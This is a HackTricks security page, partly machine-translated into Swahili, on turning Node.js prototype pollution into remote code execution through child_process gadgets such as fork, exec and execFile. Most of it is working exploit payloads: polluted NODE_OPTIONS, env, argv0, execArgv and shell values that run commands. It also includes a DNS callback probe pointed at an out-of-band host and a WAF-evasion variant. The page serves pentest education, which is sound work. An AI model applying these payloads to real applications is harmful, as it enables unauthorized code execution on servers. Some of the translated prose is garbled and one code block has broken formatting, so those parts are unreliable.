Prototype Pollution to RCE

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Kanuni Inayoweza Kudhuriwa

Fikiria JS halisi ikitumia kanuni kama ifuatavyo:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE kupitia env vars

PP2RCE inamaanisha Prototype Pollution to RCE (Remote Code Execution).

Kulingana na hii makala wakati mchakato unapotengenezwa na baadhi ya njia kutoka kwa child_process (kama vile fork au spawn au nyingine) inaita njia normalizeSpawnArguments ambayo ni kifaa cha uchafuzi wa prototype kujenga env vars mpya:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Angalia hiyo nambari unaweza kuona ni iwezekanavyo kuambukiza envPairs tu kwa kuharibu sifa .env.

Kuambukiza __proto__

Tafadhali elewa kwamba kutokana na jinsi normalizeSpawnArguments kazi kutoka kwa maktaba ya child_process ya node, wakati kitu kinaitwa ili kuweka variable mpya ya env kwa mchakato unahitaji kuharibu chochote. Kwa mfano, ikiwa unafanya __proto__.avar="valuevar" mchakato utaanzishwa na var inayoitwa avar yenye thamani valuevar.

Hata hivyo, ili variable ya env iwe ya kwanza unahitaji kuharibu sifa ya .env na (kwenye baadhi ya njia) var hiyo itakuwa ya kwanza (kuruhusu shambulio).

Ndiyo maana NODE_OPTIONS haipo ndani ya .env katika shambulio lifuatalo.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Kudhuru constructor.prototype

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE kupitia env vars + cmdline

Payload kama hiyo iliyopendekezwa katika makala hii** ina mabadiliko fulani**. Tofauti kuu ni:

  • Badala ya kuhifadhi payload ya nodejs ndani ya faili /proc/self/environ, inaihifadhi ndani ya argv0 ya /proc/self/cmdline.

  • Kisha, badala ya kuhitaji kupitia NODE_OPTIONS faili /proc/self/environ, inahitaji /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Mwingiliano wa DNS

Kwa kutumia mizigo ya kufuatilia ifuatayo, niwezekana kutumia NODE_OPTIONS env var ambayo tumekuwa tukijadili awali na kugundua ikiwa imefanya kazi na mwingiliano wa DNS:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Au, ili kuepuka WAFs kuuliza kuhusu uwanja:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln functions za child_process

Katika sehemu hii tutachambua kila kazi kutoka child_process ili kutekeleza namna ya kuendesha kanuni na kuona ikiwa tunaweza kutumia mbinu yoyote kufanya kazi hiyo kutekeleza kanuni:

exec uchunguzi wa udhaifu

```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)

// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = exec('something');

// stdin trick - not working // Not using stdin

// Windows // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = exec('something');

</details>

<details>

<summary><strong><code>execFile</code> kutumia</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');

// stdin trick - not working
// Not using stdin

// Windows - not working

Kwa execFile kufanya kazi lazima ITEKELEZE node ili NODE_OPTIONS ifanye kazi. Ikiwa haitekelezi node, unahitaji kugundua jinsi unavyoweza kubadilisha utekelezaji wa chochote kinachotekelezwa kwa kutumia mazingira ya mazingira na kuziweka.

Mbinu nyingine hufanya kazi bila mahitaji haya kwa sababu ni inawezekana kubadilisha kinachotekelezwa kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua .shell, hautachafua kinachotekelezwa).

// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

Last updated